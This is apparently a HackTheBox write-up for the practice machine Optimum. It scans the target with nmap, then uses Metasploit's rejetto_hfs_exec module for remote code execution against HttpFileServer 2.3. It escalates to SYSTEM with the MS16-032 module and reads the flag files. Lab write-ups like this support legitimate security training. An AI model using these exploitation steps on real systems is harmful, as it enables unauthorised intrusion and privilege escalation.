HackTheBox: Optimim Writeup
Recon
Grab the target IP address and run nmap against it:
$ nmap -sV -sC -p- -T4 -oN nmap_scan.txt 10.10.10.8
Nmap scan report for 10.10.10.8
Host is up (0.15s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-favicon: Unknown favicon MD5: 759792EDD4EF8E6BC2D1877D27153CB1
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
We see that the target is only running HTTP. More specifically, it’s hosting an HttpFileServer.
Vulnerability Discovery
A quick web search for “HttpFileServer 2.3” yields exploits from exploit-db and rapid7.
Both links state that this server is vulnerable to remote code execution by using ‘%00’ (null byte) to bypass a filter.
Now that we know what exploit to use, let’s fire up metasploit.
Exploitation
Once metasploit has loaded:
msf > use exploit/windows/http/rejetto_hfs_exec
msf exploit(rejetto_hfs_exec) > show options
... show and set options...
msf exploit(rejetto_hfs_exec) > exploit
...
meterpreter >
We have a shell! Time to get the user flag:
meterpreter > getuid
Server username: OPTIMUM\kostas
meterpreter > dir
Listing: C:\Users\kostas\Desktop
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2021-04-07 22:49:48 -0400 %TEMP%
100666/rw-rw-rw- 282 fil 2017-03-18 07:57:16 -0400 desktop.ini
100777/rwxrwxrwx 760320 fil 2014-02-16 06:58:52 -0500 hfs.exe
100444/r--r--r-- 32 fil 2017-03-18 08:13:18 -0400 user.txt.txt
meterpreter > cat user.txt.txt
Privilege Escalation
Run sysinfo to get system information about the target:
meterpreter > sysinfo
Computer : OPTIMUM
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 2
Meterpreter : x86/windows
I Googled for “Windows 2012 R2 (6.3 Build 9600) privilege escalation” and found a link to (MS16-032) local privilege escalation from exploit-db.
We can exploit this manually with the linked powershell script, or use metasploit. Since I already have an active meterpreter session, I went with metasploit.
meterpreter > background
...
msf > search ms16-032
msf > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf (windows/local/ms16_032_secondary_logon_handle_privesc) > show targets
... show and set targets ...
msf (windows/local/ms16_032_secondary_logon_handle_privesc) > show options
... show and set options ...
msf (windows/local/ms16_032_secondary_logon_handle_privesc) > run
You should now have a second meterpreter session as the SYSTEM user!
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
From here, grabbing the root flag is easy:
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196
Directory of C:\Users\Administrator\Desktop
18/03/2017 03:14 <DIR> .
18/03/2017 03:14 <DIR> ..
18/03/2017 03:14 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 31.892.807.680 bytes free
C:\Users\Administrator\Desktop>more root.txt